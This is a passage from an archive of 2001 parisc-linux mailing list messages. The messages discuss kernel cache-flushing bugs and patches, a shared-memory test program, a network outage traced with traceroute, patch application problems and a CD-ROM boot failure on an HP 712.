someone needs to emulate a branch instruction, computing the new
value of iaoq[1] would be part of that emulation.

John Marvin
jsm@fc.hp.com




From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] puffin.external.hp.com,... unreachable through quest
Date: Sun, 30 Sep 2001 09:43:17 +0200 (CEST)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0109300915230.69485-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620543 26743 80.91.229.3 (22 Nov 2014 01:42:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:23 +0000 (UTC)
Cc: <thunder7@xs4all.nl>
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 30 01:43:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30C1648EE
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Sep 2001 01:43:19 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f8U7hHB65369;
	Sun, 30 Sep 2001 09:43:17 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12385

Hi,

after a report on nanog I tired to help to figure out why
puffin.external.hp.com, www.parisc-linux.org and others are not
reachable for some people out there.

It seems there is a problem with QUEST/HP in Atlanta or behind.

Traces to HP seem to be prevented by filters but even ping does not
work if I check this directly from QUEST router in Atlanta via
looking glass ( http://stat.qwest.net/flash/lg.cfm ).

--- trace from quest router in atlanta ---
traceroute to puffin.external.hp.com (192.25.206.4), 30 hops max, 40 byte packets
 1  atl-edge-17.inet.qwest.net (205.171.21.190)  0.514 ms  0.475 ms 0.469 ms
 2  65.112.33.30 (65.112.33.30)  1.460 ms  1.436 ms  1.425 ms
 3  * * *
--- ping from quest router in atlanta ---
PING puffin.external.hp.com (192.25.206.4): 56 data bytes
--- puffin.external.hp.com ping statistics ---
3 packets transmitted, 0 packets received, 100% packet loss
--- snipp ---

I do not directly see this problem because at the momenet I am comming
in via uunet but two other upstreams I checked here in Germany use
kpn/quest and thus cannot reach anything in parisc related in
192.25.206.0 :( (and most likely more).

All those who use kpn/quest or have it as an upstream seem to be
cut off from mailing lists/web/cvs ?? :((

It seems the problem has been there since Sep 25th.

Can anybody please try to solve the problem/get information about this
from other side (HP internal etc. ;) because even email-contacts from
whois do not work from what I got told :( and this seems to be one of
the bigger problems (when taking 5 days).

Trace back from puffin or www.parisc-linux.org to 65.112.33.30 might
help to better localize the problem (if there are no internal filters
in hp bbn that prevent traces)

Thanks in advance.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cumulative patch for 720
Date: Sun, 30 Sep 2001 12:04:11 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <20010930120411.A28209@dogbert.localdomain>
References: <200109291339.JAA28860@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="mP3DRpeJDSE+ciuQ"
X-Trace: ger.gmane.org 1416620544 26745 80.91.229.3 (22 Nov 2014 01:42:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 30 04:05:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79B11482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Sep 2001 04:05:11 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15ndT8-0004Vh-00
	for parisc-linux@lists.parisc-linux.org; Sun, 30 Sep 2001 12:05:06 +0200
Original-Received: (qmail 22427 invoked from network); 30 Sep 2001 10:05:06 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 30 Sep 2001 10:05:06 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15ndSG-0007LI-00; Sun, 30 Sep 2001 12:04:12 +0200
Content-Disposition: inline
In-Reply-To: <200109291339.JAA28860@mail.lokmail.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15ndT8-0004Vh-00*vYIxfFC7UUA* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12386

--mP3DRpeJDSE+ciuQ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

Has anyone been able to apply this patch? I'm quite anxious to test it,
but patch doesn't like it. The first bit applies but then 5 HUNKs fail.

It might be that my MUA, or Jurij's MUA is mangling the patch. If you've
managed to get it working, could you perhaps reply to this message with
the patch attached? Thanks!

Regards,

Albert

On Sat, 29 Sep 2001, Jurij Smakov wrote:

> Hi!
>=20
> I've put together Jochen's patch of trap 18 and patch
> for trap 11, corrected according to Matthew's and Jochen's
> remarks, which will supposedly make all 720 people very=20
> happy :-). It compiles, at least.
>=20
> Jurij

<patch snipped>

--mP3DRpeJDSE+ciuQ
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tu4bDg+hOeRZtkMRArtmAJ9RqvWlj9A21aHmpetH0TJmGWvo2ACdHaAr
Lb2Ohgd6N2eQC+/XO2jOSzA=
=Qeuv
-----END PGP SIGNATURE-----

--mP3DRpeJDSE+ciuQ--




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: shm cache flush bug?
Date: Sun, 30 Sep 2001 14:39:28 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20010930143928.B6355@solo.franken.de>
References: <200109300638.AAA13665@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620544 26746 80.91.229.3 (22 Nov 2014 01:42:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 30 06:41:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (lt200001.hrz.uni-oldenburg.de [134.106.156.150])
	by dsl2.external.hp.com (Postfix) with ESMTP id B57C14830
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Sep 2001 06:41:37 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id f8UCdSV06405;
	Sun, 30 Sep 2001 14:39:28 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200109300638.AAA13665@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Sun, Sep 30, 2001 at 12:38:08AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12387

On Sun, Sep 30, 2001 at 12:38:08AM -0600, John Marvin wrote:
> The workaround fix for your problem will probably involve flushing a
> specific page.  Since the problem you are seeing is related to System V

there is a flush_page_to_ram() at the right place.

I've tested following patch:

diff -u -r1.32 pgalloc.h
--- pgalloc.h	2001/09/06 09:44:12	1.32
+++ pgalloc.h	2001/09/30 12:13:57
@@ -17,6 +17,7 @@
 static inline void
 flush_page_to_ram(struct page *page)
 {
+	flush_kernel_dcache_page (page_address(page));
 }

That one fixes the problem, too. Is this patch something you would see
as the right thing to do ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux tsbogend
Date: Sun, 30 Sep 2001 14:35:50 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20010930143550.A6355@solo.franken.de>
References: <200109291642.KAA12575@puffin.external.hp.com> <20010930080143.A9242@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620544 26752 80.91.229.3 (22 Nov 2014 01:42:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	parisc-linux-cvs@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 30 06:41:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (lt200001.hrz.uni-oldenburg.de [134.106.156.150])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 112E64A2C; Sun, 30 Sep 2001 06:41:44 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id f8UCZoe06363;
	Sun, 30 Sep 2001 14:35:50 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010930080143.A9242@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Sun, Sep 30, 2001 at 08:01:43AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12388

On Sun, Sep 30, 2001 at 08:01:43AM +0100, Matthew Wilcox wrote:
> On Sat, Sep 29, 2001 at 10:42:33AM -0600, Thomas Bogendoerfer wrote:
> > Log message:
> > we need to flush pages used inside the kernel and passed to user processes
> > otherwise because of the virtual alias we get mixed writebacks.
> > FIMXE: flush_data_cache() isn't a very well optimized function for this
> > purpose
> 
> flush_dcache_page() is perhaps the function you are looking for?  I'm
> not sure I understand what the problem is since you didn't post a diff.

flush_kernel_dcache_page() works and it should even be the right fix.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: shm cache flush bug?
Date: Sun, 30 Sep 2001 16:45:01 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20010930164501.A9970@solo.franken.de>
References: <200109300638.AAA13665@udlkern.fc.hp.com> <20010930143928.B6355@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620545 26755 80.91.229.3 (22 Nov 2014 01:42:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 30 08:47:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (lt200001.hrz.uni-oldenburg.de [134.106.156.150])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A2C94887
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Sep 2001 08:47:27 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id f8UEj1609989;
	Sun, 30 Sep 2001 16:45:01 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010930143928.B6355@solo.franken.de>; from tsbogend@alpha.franken.de on Sun, Sep 30, 2001 at 02:39:28PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12389

On Sun, Sep 30, 2001 at 02:39:28PM +0200, Thomas Bogendoerfer wrote:
> [...]

forgot my test program.

Thomas.


#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdio.h>

#define SHMSIZE 32768*32

int main (int argc, char *argv[])
{
	int keyid;
	unsigned char *buf;
	int i;

	if ((keyid = shmget (IPC_PRIVATE, SHMSIZE, (SHM_R|SHM_W|IPC_CREAT))) == -1) {
		perror ("shmget");
		exit (1);
	}

	if ((buf = shmat (keyid, NULL, 0)) == ((void *)-1)) {
		perror ("shmat buf");
		exit (1);
	}

	printf ("filling buffer (%p)\n",buf);
	for (i = 0; i < SHMSIZE; i++) {
		buf[i] = i & 255;
		if (*(volatile unsigned char *)&buf[i] != (i & 255)) {
			printf ("failed at %d\n",i);
			exit (1);
		}
	}
	printf ("read back from original buffer (%p)\n",buf);
	for (i = 0; i < SHMSIZE; i++) {
		if (*(volatile unsigned char *)&buf[i] != (i & 255)) {
			printf ("failed at %d: is %02x should be %02x\n",i,*(volatile unsigned char *)&buf[i],i&255);
		}
	}
	shmdt (buf);
	shmctl (keyid, IPC_RMID, NULL);
	printf ("TEST passed\n");
	return 0;
}


-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 05:19:03 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20011001051903.B28828@parcelfarce.linux.theplanet.co.uk>
References: <3BB4B4DE.8080608@umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620545 26756 80.91.229.3 (22 Nov 2014 01:42:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nathan Neulinger <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 30 22:19:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5790748A9
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Sep 2001 22:19:06 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15nuXn-0007md-00; Mon, 01 Oct 2001 05:19:03 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BB4B4DE.8080608@umr.edu>; from nneul@umr.edu on Fri, Sep 28, 2001 at 12:35:26PM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12390

On Fri, Sep 28, 2001 at 12:35:26PM -0500, Nathan Neulinger wrote:
> My main question though - what's the status of hpux binary support? The 
> FAQ seems to indicate that some parisc binaries are already functional.
> 
> What is necessary to be done on the machine before I can run an HP 
> executable?

It might work, but it's probably bitrotten since nobody's tried it in
over a year.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cumulative patch for 720
Date: Mon, 01 Oct 2001 04:31:52 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <200110010831.EAA09640@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620545 26758 80.91.229.3 (22 Nov 2014 01:42:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 02:32:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71A1848AA
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 02:32:08 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id EAA09640
	for <parisc-linux@lists.parisc-linux.org>; Mon, 1 Oct 2001 04:31:52 -0400
Content-ID: <9635.1001925112.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12391

> I've fiddled with your patch some more and I'm still having problems
> applying it to 2.4.9-pa27:
> 
> patching file linux/arch/parisc/kernel/traps.c
> Hunk #1 succeeded at 46 with fuzz 2.
> Hunk #2 FAILED at 277.
> Hunk #3 FAILED at 331.
> Hunk #4 FAILED at 375.
> Hunk #5 FAILED at 445.
> 4 out of 5 hunks FAILED -- saving rejects to file linux/arch/parisc/kernel/traps.c.rej
> 
> Could you perhaps put it on HTTP somewhere?
> 
> Regards,
> 
> Albert

Hi Albert and others!

I've just tested and it applies cleanly to the latest CVS source
(dated September 30th). Anyway, I found out, that I forgot to
change mm/fault.c in the original patch, so maybe it's good,
that You didn't apply it :-). The new version is at

http://www.theophys.kth.se/~jurijus/patches/720.patch

If someone applied the old version and could not get the kernel to 
compile (it complains about parisc_acctyp) just change 

static unsigned long
parisc_acctyp(unsigned long code, unsigned int inst)

to 

unsigned long
parisc_acctyp(unsigned long code, unsigned int inst)

in

arch/parisc/mm/fault.c

New version takes care of this automatically.

Best regards,

Jurij





---------------------------------------------------------
Get Free Private Encrypted Email https://mail.lokmail.net
        Switch to Name.Space: http://namespace.org/switch







From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Del-Grande, Diego {T-HA~Rotkreuz}" <DIEGO.DEL-GRANDE@Roche.COM>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CD-ROM BOOT FAILED ON 712/60
Date: Mon, 01 Oct 2001 11:25:37 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <301D223D6FE8D211B5AB0008C7337705018567E1@tromsem1.rok.roche.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416620545 26760 80.91.229.3 (22 Nov 2014 01:42:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:25 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 03:28:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rbadb1.RBACPXCLU.BAS.ROCHE.COM (mail-external-basel.roche.com [196.3.50.190])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15F1A48EF
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 03:28:40 -0600 (MDT)
Original-Received: from CONVERSION-DAEMON.Roche.COM by Roche.COM (PMDF V6.0-025 #47170)
 id <01K8ZH0Z4K5C8ZQ9PL@Roche.COM> for parisc-linux@lists.parisc-linux.org;
 Mon, 01 Oct 2001 11:25:24 +0200
Original-Received: from rbamsemcn1.bas.roche.com
 (rbamsemcn1.bas.roche.com [145.245.211.139])
 by Roche.COM (PMDF V6.0-025 #47170)
 with ESMTP id <01K8ZH0TYXFW90UOB9@Roche.COM> for
 parisc-linux@lists.parisc-linux.org; Mon, 01 Oct 2001 11:24:50 +0200
Original-Received: by rbamsemcn1.bas.roche.com with Internet Mail Service (5.5.2653.19)
	id <T6VRM507>; Mon, 01 Oct 2001 11:26:50 +0200
Content-return: allowed
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12392

i'm a member of a hp 712 / 60 ...i want to install hppa-linux 0.9.2. i've burned a hppa-linux cd (0.9.2)...
because my mashine didn't built in a cdrom-drive I attached one external.
if i'm booting the cd i retrived the follow message...

Warning: kernel name doesn't end with 32 or 64... Guessing Annoyance: Firmaware does not support PDC_MODEL_CAPABILITIES call
32
Couldn't grok your kernel executable format
failed to load kernel

my firmware is 2.3 ... the newest!

for solving this problem i tried to boot witch e.g. boot scsi.2.0 IPL... I edited the Parameter 0/vmlinux in 0/vmlinux32... now i'm only get the message

Couldn't grok your kernel executable format
failed to load kernel

what is wrong? can you help me? for further informations about how to solve this problem ... thank you!

thanx for your answer...

best regards

del-grande diego




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] shm cache flush bug
Date: Mon, 1 Oct 2001 04:48:07 -0600 (MDT)
Lines: 66
Approved: news@gmane.org
Message-ID: <200110011048.EAA03389@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620546 26763 80.91.229.3 (22 Nov 2014 01:42:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: tsbogend@alpha.franken.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 04:48:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id A262E4872
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 04:48:08 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP
	id F1545226; Mon,  1 Oct 2001 06:48:07 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id EAA03389;
	Mon, 1 Oct 2001 04:48:07 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12393

> I've tested following patch:
>
> diff -u -r1.32 pgalloc.h
> --- pgalloc.h   2001/09/06 09:44:12     1.32
> +++ pgalloc.h   2001/09/30 12:13:57
> @@ -17,6 +17,7 @@
>  static inline void
>  flush_page_to_ram(struct page *page)
>  {
> +       flush_kernel_dcache_page (page_address(page));
>  }
>
> That one fixes the problem, too. Is this patch something you would see
> as the right thing to do ?
>
> Thomas.

No. flush_page_to_ram() is the old cache flushing interface. It is called
in a bunch of other places. Enabling it would wind up doing a lot of
redundant cache flushing.

> >
> > flush_dcache_page() is perhaps the function you are looking for?  I'm
> > not sure I understand what the problem is since you didn't post a diff.
>
> flush_kernel_dcache_page() works and it should even be the right fix.
>

flush_dcache_page() is the right interface to use in machine independent
code. It calls flush_kernel_dcache_page(), but it also has an additional
performance tweak that delays flushing if the mapping is not in place yet
(it sets a bit that causes the flush to happen when the translation is
mapped).  This avoids flushing in some circumstances.

I've tracked the bug down to root cause.  The root cause of the problem is
that shmem_getpage_locked() calls clear_highpage() for a page when it is
first allocated, without flushing the page.  The appropriate interface is
clear_user_highpage(), similar to what is done in do_anonymous_page() in
mm/memory.c.  However, clear_user_highpage() requires the user address,
and that would need to get passed down from shmem_nopage() through
shmem_getpage()/shmem_getpage_locked(). shmem_getpage() and
shmem_getpage_locked() get called in a few other places, so that change
starts to get a little ugly.  I decided to take the easy way out by adding
a flush_dcache_page() call after the call to clear_highpage(). Of course,
this change will need to be sold to Linus eventually, so we will probably
need to consult further to determine if this is an appropriate final fix.

Thomas, thank you for finding this bug and providing a test case.

John

Here is the patch that I committed to mm/shmem.c:

--- shmem.c.old	Mon Oct  1 03:01:47 2001
+++ shmem.c	Mon Oct  1 04:08:13 2001
@@ -377,6 +377,7 @@ repeat:
 		if (!page)
 			return ERR_PTR(-ENOMEM);
 		clear_highpage(page);
+		flush_dcache_page(page);
 		inode->i_blocks += BLOCKS_PER_PAGE;
 		add_to_page_cache (page, mapping, idx);
 	}




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I-Cache flushing
Date: Mon, 1 Oct 2001 12:57:46 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <20011001125746.D28828@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620546 26766 80.91.229.3 (22 Nov 2014 01:42:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 05:57:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3934F48C0
	for <parisc-linux@parisc-linux.org>; Mon,  1 Oct 2001 05:57:48 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15o1hi-0007Ij-00
	for parisc-linux@parisc-linux.org; Mon, 01 Oct 2001 12:57:46 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12394

On the subject of cache flushing... cachetlb.txt says:

  void flush_icache_range(unsigned long start, unsigned long end)
        When the kernel stores into addresses that it will execute
        out of (eg when loading modules), this function is called.

        If the icache does not snoop stores then this routine will need
        to flush it.

This implies to me that our implementation of flush_icache_range must
flush the relevant range of the dcache first.  I assume it doesn't
currently do that since our diff vs linus' tree for module.c is:

diff -urNX dontdiff linux-249/kernel/module.c linux-249-pa/kernel/module.c
--- linux-249/kernel/module.c   Mon Sep  3 15:20:34 2001
+++ linux-249-pa/kernel/module.c        Fri Aug 17 00:12:22 2001
@@ -510,8 +510,18 @@
 
        /* On some machines it is necessary to do something here
           to make the I and D caches consistent.  */
+#ifdef __hppa__
+       /* I guess we have a problem here because copy_from_user() has left
+        * the new module code in the data cache, so we need to flush it
+        * through.  Our copy_from_user() used to do cache flushing, but 
+        * it has been removed.  Puzzled as to why other archs might want
+        * to flush icache at this point.  rhirst@linuxcare.com
+        */
+       flush_data_cache();
+#endif
        flush_icache_range((unsigned long)mod, (unsigned long)mod + mod->size);
 
+       /* Update module references.  */
